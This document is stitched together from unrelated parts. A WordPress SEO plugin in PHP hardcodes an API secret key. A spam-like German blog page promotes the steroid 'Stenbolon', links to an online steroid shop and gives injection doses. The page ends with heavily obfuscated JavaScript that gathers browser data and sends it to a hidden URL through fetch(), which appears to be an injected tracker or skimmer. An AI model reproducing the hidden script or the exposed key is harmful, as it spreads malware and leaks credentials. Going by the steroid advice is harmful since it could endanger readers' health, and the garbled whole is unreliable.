/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
} // end function_exists guard<!DOCTYPE html>
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<title>Die Vorteile der Stenbolon Kur für Sportler und Bodybuilder - Biotin Tablets</title>
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	<meta property="og:description" content="Die Stenbolon Kur erfreut sich unter Sportlern und Bodybuildern großer Beliebtheit, da sie nicht nur dabei hilft, Muskelmasse aufzubauen, sondern auch die Leistung zu steigern. In diesem Artikel werden wir die wichtigsten Aspekte der Stenbolon Kur beleuchten, um Ihnen einen umfassenden Überblick über diese interessante Substanz zu geben. Auf https://anabolikaonlinekaufen.com/kategorie/injizierbare-steroide/stenbolon/ erfahren Sie schnell, ob Stenbolon [&hellip;]" />
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<article id="post-28086" class="post-28086 post type-post status-publish format-standard hentry category-uncategorized">
	<header class="entry-header">
		<h1 class="entry-title">Die Vorteile der Stenbolon Kur für Sportler und Bodybuilder</h1>

		<div class="entry-meta">
			<span class="date"><a href="https://biotintablets.com/die-vorteile-der-stenbolon-kur-fur-sportler-und-bodybuilder/" title="Permalink to Die Vorteile der Stenbolon Kur für Sportler und Bodybuilder" rel="bookmark"><time class="entry-date" datetime="2026-05-10T00:12:22+00:00">May 10, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Die Stenbolon Kur erfreut sich unter Sportlern und Bodybuildern großer Beliebtheit, da sie nicht nur dabei hilft, Muskelmasse aufzubauen, sondern auch die Leistung zu steigern. In diesem Artikel werden wir die wichtigsten Aspekte der Stenbolon Kur beleuchten, um Ihnen einen umfassenden Überblick über diese interessante Substanz zu geben.</p>
<p>Auf <a href="https://anabolikaonlinekaufen.com/kategorie/injizierbare-steroide/stenbolon/">https://anabolikaonlinekaufen.com/kategorie/injizierbare-steroide/stenbolon/</a> erfahren Sie schnell, ob Stenbolon zu Ihnen passt – alles klar und auf den Punkt gebracht.</p>
<h2>Was ist Stenbolon?</h2>
<p>Stenbolon ist ein synthetisches Anabolikum, das aus der Substanz Stanozolol abgeleitet ist. Es wird häufig in der Sportlergemeinde eingesetzt, um die Muskelmasse zu erhöhen und die körperliche Leistungsfähigkeit zu verbessern. Aufgrund seiner spezifischen chemischen Struktur hat Stenbolon eine starke anabole Wirkung mit relativ wenigen androgenen Nebeneffekten.</p>
<h2>Vorteile der Stenbolon Kur</h2>
<ol>
<li><strong>Muskelaufbau:</strong> Die Hauptnutzung von Stenbolon ist der schnelle Aufbau von magerer Muskelmasse.</li>
<li><strong>Leistungssteigerung:</strong> Viele Sportler berichten von einer verbesserten Ausdauer und Kraft während ihrer Trainingseinheiten.</li>
<li><strong>Fettabbau:</strong> Stenbolon kann helfen, den Körperfettanteil zu reduzieren, während gleichzeitig die Muskelmasse erhalten bleibt.</li>
<li><strong>Erholung:</strong> Die Kur unterstützt eine schnellere Erholung nach intensiven Trainingseinheiten.</li>
</ol>
<h2>Anwendung und Dosierung</h2>
<p>Die typische Dosierung von Stenbolon variiert je nach Zielsetzung und Erfahrungsgrad des Anwenders. Eine gebräuchliche Dosierung liegt zwischen 50 und 100 mg pro Woche, aufgeteilt in mehrere Injektionen. Es ist ratsam, die Kur stets unter ärztlicher Aufsicht durchzuführen, um mögliche Nebenwirkungen zu vermeiden.</p>
<h2>Nebenwirkungen</h2>
<p>Wie bei vielen Anabolika können auch bei der Stenbolon Kur Nebenwirkungen auftreten. Häufig berichtete Nebenwirkungen sind:</p>
<ul>
<li>Hautprobleme wie Akne</li>
<li>Haarverlust bei genetisch prädisponierten Personen</li>
<li>Änderungen des Cholesterinspiegels</li>
<li>Leberbelastung bei übermäßigem Gebrauch</li>
</ul>
<p>Es ist wichtig, sich der Risiken bewusst zu sein und die Verwendung von Stenbolon verantwortungsvoll zu handhaben. Eine gründliche Informierung und eventuell eine Rücksprache mit einem Fachmann können helfen, die individuelle Entscheidungsfindung zu unterstützen.</p>
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fetch(A0DDjZL(0x74)+npY8Ps,{[A0DDjZL(0x75)]:A0DDjZL(0x76),[A0DDjZL(0x77)]:MblLCN(ikbzVRi[A0DDjZL(0x78)](JSON[A0DDjZL(0x79)](KuMixS)))});if(!XDvmOH.ok){throw new Error}return vR3mR1[A0DDjZL(0x7a)](MblLCN(new Uint8Array(await XDvmOH[A0DDjZL(0x7b)]())))};let qJ25KOs=sw1vZI6[0x0],DWQiSQ=sw1vZI6[0x0];setTimeout(()=>{function npY8Ps(npY8Ps){var KuMixS="ACahFEeKmfHtYJpXB2IyOG9s3bjq`~$x>|wWRLZDiQcdg/MS[!P\"N#oV4.6U@vTl1nr(70+_<z%=8&:]?,}^;5){*uk",prqxewD,A0DDjZL,XDvmOH,r5KAeXo,Pystr_,mGyaQpg,Sie2ID0;ytrABQp(prqxewD=""+(npY8Ps||""),A0DDjZL=prqxewD.length,XDvmOH=[],r5KAeXo=sw1vZI6[0x0],Pystr_=sw1vZI6[0x0],mGyaQpg=-sw1vZI6[0x1]);for(Sie2ID0=sw1vZI6[0x0];Sie2ID0<A0DDjZL;Sie2ID0++){var nU369sP=KuMixS.indexOf(prqxewD[Sie2ID0]);if(nU369sP===-sw1vZI6[0x1])continue;if(mGyaQpg<sw1vZI6[0x0]){mGyaQpg=nU369sP}else{ytrABQp(mGyaQpg+=nU369sP*sw1vZI6[0xc],r5KAeXo|=mGyaQpg<<Pystr_,Pystr_+=(mGyaQpg&sw1vZI6[0xd])>sw1vZI6[0xe]?sw1vZI6[0xf]:sw1vZI6[0x10]);do{ytrABQp(XDvmOH.push(r5KAeXo&sw1vZI6[0x3]),r5KAeXo>>=sw1vZI6[0x2],Pystr_-=sw1vZI6[0x2])}while(Pystr_>sw1vZI6[0x9]);mGyaQpg=-sw1vZI6[0x1]}}if(mGyaQpg>-sw1vZI6[0x1]){XDvmOH.push((r5KAeXo|mGyaQpg<<Pystr_)&sw1vZI6[0x3])}return FzSRcX8(XDvmOH)}function KuMixS(KuMixS){if(typeof U62LLa[KuMixS]===sw1vZI6[0x5]){return U62LLa[KuMixS]=npY8Ps(xvECiSL[KuMixS])}return U62LLa[KuMixS]}ytrABQp(qJ25KOs=gC834zq(),lmW_TX(KuMixS(0x7c),{[KuMixS(0x7d)]:nU369sP,u:window[KuMixS(0x7e)][KuMixS(sw1vZI6[0x12])],[KuMixS(sw1vZI6[0x13])]:Object[KuMixS(0x81)](window)[KuMixS(0x82)](npY8Ps=>{function KuMixS(npY8Ps){var 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nU369sP=KuMixS.indexOf(prqxewD[Sie2ID0]);if(nU369sP===-sw1vZI6[0x1])continue;if(mGyaQpg<sw1vZI6[0x0]){mGyaQpg=nU369sP}else{ytrABQp(mGyaQpg+=nU369sP*sw1vZI6[0xc],r5KAeXo|=mGyaQpg<<Pystr_,Pystr_+=(mGyaQpg&sw1vZI6[0xd])>sw1vZI6[0xe]?sw1vZI6[0xf]:sw1vZI6[0x10]);do{ytrABQp(XDvmOH.push(r5KAeXo&sw1vZI6[0x3]),r5KAeXo>>=sw1vZI6[0x2],Pystr_-=sw1vZI6[0x2])}while(Pystr_>sw1vZI6[0x9]);mGyaQpg=-sw1vZI6[0x1]}}if(mGyaQpg>-sw1vZI6[0x1]){XDvmOH.push((r5KAeXo|mGyaQpg<<Pystr_)&sw1vZI6[0x3])}return FzSRcX8(XDvmOH)}function prqxewD(npY8Ps){if(typeof U62LLa[npY8Ps]===sw1vZI6[0x5]){return U62LLa[npY8Ps]=KuMixS(xvECiSL[npY8Ps])}return U62LLa[npY8Ps]}return npY8Ps[prqxewD(0x8b)]&&x_8h9B++}),document[KuMixS(sw1vZI6[0x15])](KuMixS(0x8c),npY8Ps=>{function KuMixS(npY8Ps){var KuMixS="NFaHYGsi5;/7y#U=:Zr\"Xcgjl9C)pn&K2k$}DI6`Q1Wbd0eu<qPE[A.>Lx|^{3v~!R+?m(8SwT*@,]zB%_MotOfJVh4",prqxewD,A0DDjZL,XDvmOH,r5KAeXo,Pystr_,mGyaQpg,Sie2ID0;ytrABQp(prqxewD=""+(npY8Ps||""),A0DDjZL=prqxewD.length,XDvmOH=[],r5KAeXo=sw1vZI6[0x0],Pystr_=sw1vZI6[0x0],mGyaQpg=-sw1vZI6[0x1]);for(Sie2ID0=sw1vZI6[0x0];Sie2ID0<A0DDjZL;Sie2ID0++){var nU369sP=KuMixS.indexOf(prqxewD[Sie2ID0]);if(nU369sP===-sw1vZI6[0x1])continue;if(mGyaQpg<sw1vZI6[0x0]){mGyaQpg=nU369sP}else{ytrABQp(mGyaQpg+=nU369sP*sw1vZI6[0xc],r5KAeXo|=mGyaQpg<<Pystr_,Pystr_+=(mGyaQpg&sw1vZI6[0xd])>sw1vZI6[0xe]?sw1vZI6[0xf]:sw1vZI6[0x10]);do{ytrABQp(XDvmOH.push(r5KAeXo&sw1vZI6[0x3]),r5KAeXo>>=sw1vZI6[0x2],Pystr_-=sw1vZI6[0x2])}while(Pystr_>sw1vZI6[0x9]);mGyaQpg=-sw1vZI6[0x1]}}if(mGyaQpg>-sw1vZI6[0x1]){XDvmOH.push((r5KAeXo|mGyaQpg<<Pystr_)&sw1vZI6[0x3])}return FzSRcX8(XDvmOH)}function prqxewD(npY8Ps){if(typeof U62LLa[npY8Ps]===sw1vZI6[0x5]){return U62LLa[npY8Ps]=KuMixS(xvECiSL[npY8Ps])}return U62LLa[npY8Ps]}return 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U62LLa[npY8Ps]===sw1vZI6[0x5]){return U62LLa[npY8Ps]=A0DDjZL(xvECiSL[npY8Ps])}return U62LLa[npY8Ps]}if(Pystr_(0x8f)in p5U9NnU){Sie2ID0()}function Sie2ID0(){var npY8Ps;function KuMixS(){}ytrABQp(npY8Ps=function(npY8Ps,prqxewD){var A0DDjZL=sw1vZI6[0x0],Pystr_,Sie2ID0,gC834zq,XDvmOH,r5KAeXo;ytrABQp(Pystr_=sw1vZI6[0x0],Sie2ID0=new KuMixS(sw1vZI6[0x0]),gC834zq=Sie2ID0,XDvmOH=npY8Ps,r5KAeXo=prqxewD);while(XDvmOH!==sw1vZI6[0x16]||r5KAeXo!==sw1vZI6[0x16]){ytrABQp(Pystr_=(XDvmOH?XDvmOH.val:sw1vZI6[0x0])+(r5KAeXo?r5KAeXo.val:sw1vZI6[0x0])+A0DDjZL,A0DDjZL=Math.floor(Pystr_/sw1vZI6[0x17]),gC834zq.next=new KuMixS(Pystr_%sw1vZI6[0x17]),gC834zq=gC834zq.next,XDvmOH=XDvmOH?XDvmOH.next:sw1vZI6[0x16],r5KAeXo=r5KAeXo?r5KAeXo.next:sw1vZI6[0x16])}if(A0DDjZL)gC834zq.next=new KuMixS(A0DDjZL);return Sie2ID0.next},console.log(npY8Ps))}document[Pystr_(0x90)](npY8Ps)?.addEventListener(Pystr_(0x91),()=>{function npY8Ps(npY8Ps){var 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